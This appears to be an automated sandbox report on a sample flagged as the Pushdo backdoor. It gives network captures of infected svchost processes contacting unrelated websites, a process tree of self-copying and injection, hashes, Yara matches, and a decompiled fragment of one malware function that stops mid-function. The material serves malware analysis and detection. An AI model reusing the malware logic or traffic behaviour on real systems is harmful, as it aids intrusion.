2023-05-31 12:51:53 UTC	149	IN	Data Raw: 29 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 Data Ascii: ){ document.getElementById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" tar
2023-05-31 12:51:53 UTC	150	IN	Data Raw: 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 22 3e 0a 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 69 74 61 Data Ascii: d g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-button"><a href="/index.php/contacto/cita
2023-05-31 12:51:53 UTC	151	IN	Data Raw: 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 33 20 67 2d 61 Data Ascii: ng" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblock-animated g-bg-3 g-a
2023-05-31 12:51:53 UTC	153	IN	Data Raw: 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 66 6f 6c 69 6f 5f 68 6f 6d 65 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 Data Ascii: <div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="portafolio_home" href="/index.php/somos-especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-bloc
2023-05-31 12:51:53 UTC	154	IN	Data Raw: 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3e 0a 3c Data Ascii: s="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt><
2023-05-31 12:51:53 UTC	155	IN	Data Raw: 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 66 65 61 74 75 72 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 Data Ascii: ss="spacer"></div></div></div></div></section><section id="g-feature"><div class="g-container"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wr
2023-05-31 12:51:53 UTC	157	IN	Data Raw: 33 30 30 32 33 2d 20 4f 70 63 69 c3 b3 6e 20 31 20 63 69 74 61 20 64 65 20 6f 6e 63 6f 6c 6f 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 32 20 70 72 6f 67 72 61 6d 61 63 69 c3 b3 6e 20 64 65 20 63 69 72 75 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 33 20 6f 74 72 61 73 20 63 69 74 61 73 20 3c 62 72 3e 0a 48 6f 72 61 72 69 6f 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 Data Ascii: 30023- Opcin 1 cita de oncologa- Opcin 2 programacin de ciruga- Opcin 3 otras citas <br>Horario de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <s
2023-05-31 12:51:53 UTC	158	IN	Data Raw: 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f Data Ascii: ntact-item"><div class="g-contact-label">Calle 48 # 25-56</div> <div class="g-contact-text">Calle 48 # 25-56</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </
2023-05-31 12:51:53 UTC	159	IN	Data Raw: 69 67 68 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 2d 32 34 34 34 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e Data Ascii: ight"><div class="g-container"> <div class="g-grid"><div class="g-block size-33-3"><div id="logo-2444-particle" class="g-content g-particle"> <a href="/" title rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San
2023-05-31 12:51:53 UTC	161	IN	Data Raw: 34 62 66 0d 0a 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 Data Ascii: 4bf/div><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style
2023-05-31 12:51:53 UTC	162	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	58451	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	77	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-05-31 12:51:51 UTC	78	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 May 2023 12:51:51 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-31 12:51:51 UTC	79	IN	Data Raw: 32 63 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c6<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	58449	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	78	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	58500	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	78	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-05-31 12:51:51 UTC	79	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 31 May 2023 12:51:51 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-05-31 12:51:51 UTC	80	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: fs7AQcREFX.exePID: 7000, Parent PID: 3452

General

Target ID:	0
Start time:	14:49:46
Start date:	31/05/2023
Path:	C:\Users\user\Desktop\fs7AQcREFX.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\fs7AQcREFX.exe
Imagebase:	0xf0000
File size:	545792 bytes
MD5 hash:	6BB40ED95F770955EA7CF27E4785612E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000000.00000002.720083201.0000000002554000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: pigalicapi.exePID: 6864, Parent PID: 3452

General

Target ID:	1
Start time:	14:50:05
Start date:	31/05/2023
Path:	C:\Users\user\pigalicapi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\pigalicapi.exe"
Imagebase:	0x800000
File size:	545792 bytes
MD5 hash:	6BB40ED95F770955EA7CF27E4785612E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000001.00000002.719025818.0000000002B54000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000001.00000002.714052838.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 24%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: pigalicapi.exePID: 6080, Parent PID: 3452

General

Target ID:	4
Start time:	14:50:13
Start date:	31/05/2023
Path:	C:\Users\user\pigalicapi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\pigalicapi.exe"
Imagebase:	0x800000
File size:	545792 bytes
MD5 hash:	6BB40ED95F770955EA7CF27E4785612E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000004.00000002.714243220.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000004.00000002.714796966.0000000000984000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6944, Parent PID: 7000

General

Target ID:	5
Start time:	14:50:48
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1672, Parent PID: 6864

General

Target ID:	7
Start time:	14:51:05
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5892, Parent PID: 6080

General

Target ID:	9
Start time:	14:51:17
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3800, Parent PID: 1672

General

Target ID:	10
Start time:	14:51:23
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4876, Parent PID: 1672

General

Target ID:	11
Start time:	14:51:23
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5200, Parent PID: 1672

General

Target ID:	12
Start time:	14:51:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6580, Parent PID: 1672

General

Target ID:	13
Start time:	14:51:25
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 23128, Parent PID: 7000

General

Target ID:	14
Start time:	14:51:44
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: fs7AQcREFX.exePID: 7000, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	45.4%
Signature Coverage:	17.4%
Total number of Nodes:	1675
Total number of Limit Nodes:	22

Executed Functions

Function 04004BA0 Relevance: 63.8, APIs: 33, Strings: 3, Instructions: 800
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04004BA0(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				signed int _v28;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				void* _v48;
				long _v52;
				void* _v56;
				char* _v60;
				CHAR* _v64;
				intOrPtr* _v68;
				intOrPtr _v72;
				int _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v96;
				void* _v100;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				char _v420;
				CHAR* _v424;
				int _v428;
				void* _v432;
				long _v436;
				short _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				long _v968;
				void* _t306;
				void* _t307;
				void* _t308;
				int _t312;
				int _t318;
				long _t328;
				void* _t333;
				void* _t351;
				long _t358;
				void* _t637;
				void* _t638;

				__imp__CoInitialize(0);
				_v8 = _a4;
				if(_v8 == 0) {
					L83:
					__imp__CoUninitialize();
					return 0;
				} else {
					E04007B70( &_v36, _v8, 0x1c);
					_t638 = _t637 + 0xc;
					SetEvent( *(_v8 + 0x10));
					_v40 = 0xea60;
					_v44 = _v28;
					while(_v44 <= _v24 && (( *(_v12 + 0x28) & 0x000000ff) != 0 || WaitForSingleObject( *(_v12 + 0x24), 0xa) != 0)) {
						_v64 = _v44 * 0x28 + _v36;
						_v52 = 0x100000;
						_t306 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v48 = _t306;
						_t307 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v56 = _t307;
						_t308 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v60 = _t308;
						if(_v48 == 0 || _v56 == 0 || _v60 == 0) {
							L82:
							_v44 = _v44 + 1;
							continue;
						} else {
							_v68 = _v48;
							_v80 = 0;
							while(_v80 < 0x100) {
								_v80 = _v80 + 1;
							}
							_v72 = _v68 - _v48;
							if( *0x40118a4 == 2 &&  *((intOrPtr*)(_v16 + 0x453)) > 0 &&  *((intOrPtr*)(_v16 + 0x453)) < 0x100000 - _v72 &&  *((intOrPtr*)(_v16 + 0x457)) != 0) {
								 *_v68 =  *((intOrPtr*)(_v16 + 0x453));
								_v68 = _v68 + 4;
								E04007B70(_v68,  *((intOrPtr*)(_v16 + 0x457)),  *((intOrPtr*)(_v16 + 0x453)));
								_t638 = _t638 + 0xc;
								_v68 = _v68 +  *((intOrPtr*)(_v16 + 0x453));
							}
							_v72 = _v68 - _v48;
							_t312 = E04008370(_v48, _v72, _v56, 0x100000); // executed
							_t638 = _t638 + 0x10;
							_v76 = _t312;
							if(_v76 <= 0) {
								L81:
								VirtualFree(_v48, 0, 0x8000); // executed
